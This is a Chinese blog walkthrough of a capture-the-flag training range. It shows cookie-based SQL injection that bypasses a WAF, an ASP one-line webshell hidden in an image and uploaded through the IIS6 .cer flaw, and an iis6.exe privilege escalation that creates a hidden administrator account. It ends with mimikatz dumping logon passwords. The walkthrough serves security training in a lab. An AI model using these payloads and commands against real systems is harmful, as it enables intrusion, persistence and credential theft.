封神台靶场复现

尤里的复仇Ⅰ 小芳!

第二章,sql绕waf

进入环境,是一个新闻门户站

点击一条新闻,因为一般新闻页面的功能都是与数据库进行交互的。

1
http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171

我们可以得知,是网站下的shownews.asp这个ASP动态网页文件,与数据库进行交互,并查询出了id为171的新闻的值

ASP

ASP 即 Active Server Pages,是微软开发的一种服务器端脚本环境。ASP 文件是包含服务器端脚本代码(通常是 VBScript 或 JScript)的文本文件,其文件扩展名为.asp。这些文件在服务器上执行,生成动态的网页内容发送给客户端浏览器。
它会处理文件中的脚本代码,这些脚本代码可以与服务器的资源(如数据库、文件系统等)进行交互。例如,脚本可以从数据库中查询数据,根据查询结果动态地生成 HTML 内容。

接下来我们尝试注入,拼接sql语句

可以看到有waf,不能用and,直接使用order by

查询当前表有10个字段,当到11的时候,页面出现错误,并返回数据库错误,证明此页面存在sql注入,同时测试出此表有10个字段。
我们继续注入,通过from,看页面返回是否正常猜测有无admin这个表

又被waf了,测试出被waf的字符串为select,且不能绕过
既然get方式waf限制严格,因为网页防护一般之拦截Get、POST传参,我们采用cookie注入,当然POST也可以,比GET松但是相对严格。

我们发现此方法可行,成功显示了页面,GET没有id
证明了cookie里的id=171,也能正常传参,被当作SQL语句拼接,那我们直接进行注入
我们输入cookie的值为

1
id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

继续猜测是否存在admin表,空格需用+代替,不然会出错

页面回显了2,3,7,8,9
没有出现数据库错误,这证明admin表是存在的。且第2、3、7、8、9字段,可以用来猜测字段名,并回显到页面上
我们接着尝试猜测最常见的管理表字段名username和password,我们在上面的值任选两个

返回了账号密码
密码是字母加数字的16位组合,看下是不是MD5

知道了密码明文
此环境用的是南方CMS,默认管理员后台是根目录的/admin/

进入后台,拿到flag

第四章,进击!拿到Web最高权限!


进入环境,需要管理员cookie

提取上一题提取的cookie

进入管理后台

添加产品位置可以上传文件
上传一个php文件,出现提示

可以在网站配置看到允许上传的文件类型,但不可以更改

通过url可以看出本站用的是asp语言

可能存在IIS解析漏洞:IIS6.0默认的可执行文件除了asp还包括这三种,*.asa *.cer *.cdx
所以对比上面的我们可以上传.cer文件,写入asp语言的一句话木马

1
<%eval request("cmd")%>


看来不能直接上传.cer文件
上传图片马
先找一张正常的图片,大小小一点的

1
2
copy 24.jpg/b+1.cer 2.jpg
#复制 原图片/二进制格式+木马.cer #新图片


用记事本查看木马图片

末尾发现一句话木马代表成功生成,且图片正常显示
把2.jpg改为2.cer上传

蚁剑连接

找到flag

第五章:SYSTEM!POWER!


利用第四章的文件上传漏洞我们获得了一个普通的shell,现在我们要做的是提权,获得c盘的flag
上传木马后,我们用菜刀连接(蚁剑本题提权操作有问题)

打开c盘下的flag.txt,没有权限

没有权限的话,我们能够想到命令行cmd,是个提权的好方法,返回菜刀目录,右键打开虚拟终端,看看whoami显示是什么

拒绝访问,所以我们要找到能利用的点
打开D盘目录RECYCLER文件夹
recycler(根文件)是windows系列操作系统所用的文件夹,其主要用途是放置被用户删除的文件,这里我们看到有cmd.exe,iis6.exe,这就是我们要利用的病毒文件

从cmd.exe进入虚拟终端

查看whoami,我们是普通用户

提权

1
iis6.exe "whoami"


现在就为系统权限了

用它创建账号账号:a ,密码:1

1
iis6.exe "net user a 1 /add"

创建成功以后对账号提权至Administrator组

1
iis6.exe "net localgroup Administrators a /add"

查看新建账号a的权限,成功获得最高权限

1
iis6.exe "net user a"

现在a账号是最高权限组
我们接下来要做的就是远程连接
用tasklist -svc命令查看了这台服务器开启的服务,发现远程桌面服务Termservice的pid是2408

再使用netstat -ano查看端口和连接状态,显示pid=2408所对应的端口号是3389,状态是正在监听,是打开着的,也就是说远程桌面服务器的端口号是3389

远程桌面连接
题目的ip地址+port端口连接其服务器

打开c盘的flag.txt

第六章:GET THE PASS!


接着上一关,利用远程登录后看到有两个疑似藏有flag信息的文件。

试着打开发现没有权限

打开txt文件的属性-安全-高级,把权限全部都改成允许

然后读取txt,解压密码是管理员密码

打开zip文件发现需要解压密码,解压密码是管理员密码

密码获取工具mimikatz(内网渗透神器),直接在文件里面搜索,双击exe打开

输入命令

1
2
privilege::debug ----提升权限
sekurlsa::logonPasswords----获取登陆用户密码


获得密码wow!yougotit!
用这个密码输入到小芳.txt

FLAG{WOW!yougotit!}


封神台靶场复现
http://example.com/2024/12/16/fenshengtai/
作者
奇怪的奇怪
发布于
2024年12月16日
许可协议